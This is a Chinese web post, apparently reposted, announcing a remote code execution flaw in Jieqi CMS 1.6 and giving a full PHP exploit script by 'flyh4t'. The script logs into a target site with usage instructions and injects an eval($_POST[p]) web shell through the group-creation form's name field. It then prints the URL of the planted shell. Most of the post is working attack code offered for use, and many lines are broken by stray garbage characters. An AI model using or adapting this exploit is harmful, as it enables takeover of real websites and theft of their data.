Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


! T" l5 h3 {( z! W3 Z( o7 x6 }该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
  e% j! ~) j0 }- d 需要有一个能创建圈子的用户。
7 B5 @1 [: V! a  f& X! M
  Y( w! G0 L/ W2 p4 S<?php

; I; i0 Q, o- X. c$ X8 w* v( Nprint_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
: F9 F- b8 V! `" }; Aby flyh4t
" K% |; e7 r8 Imail: phpsec at hotmail dot com
! Q6 z- `& @2 `! t6 U: m  \" Cteam: http://www.wolvez.org
: @* |7 Q5 _6 X% M+---------------------------------------------------------------------------+
8 ~8 [6 V8 M8 E3 w, D3 \0 V- i" P'); /**
* works regardless of php.ini settings
; I) _  J4 H5 P* V+ o; \*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
7 t/ A" {( M1 X) E& ]host:      target server (ip/hostname)
- ?, [8 V* V, vpath:      path to jieqicms
uasename:  a username who can create group
) U# y$ i8 R' Y+ N: B9 CExample:
9 v- o& j/ s6 ?+ n6 F. U& Aphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
( [; Z7 q# m& S6 W0 O: |+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
1 b6 a8 r* w# |: `$ H( T
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
/ J7 v9 `( _  e) K' N' n( G2 ~
- N, I, D, G1 W; r: ?- O1 J1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
4 k/ @- `" ~& ~1 C/ f
! c: y7 N+ G& Q/ r- o+ t% C. H1
# O, Y7 J2 ?1 p0 l( j. _-----------------------------23281168279961
2 N$ n. x) ?# _Content-Disposition: form-data; name="gbrief"

9 i  S& @6 H& B8 |: u. j. [, V- t# N1
$ |0 [# W( m6 H) Q-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;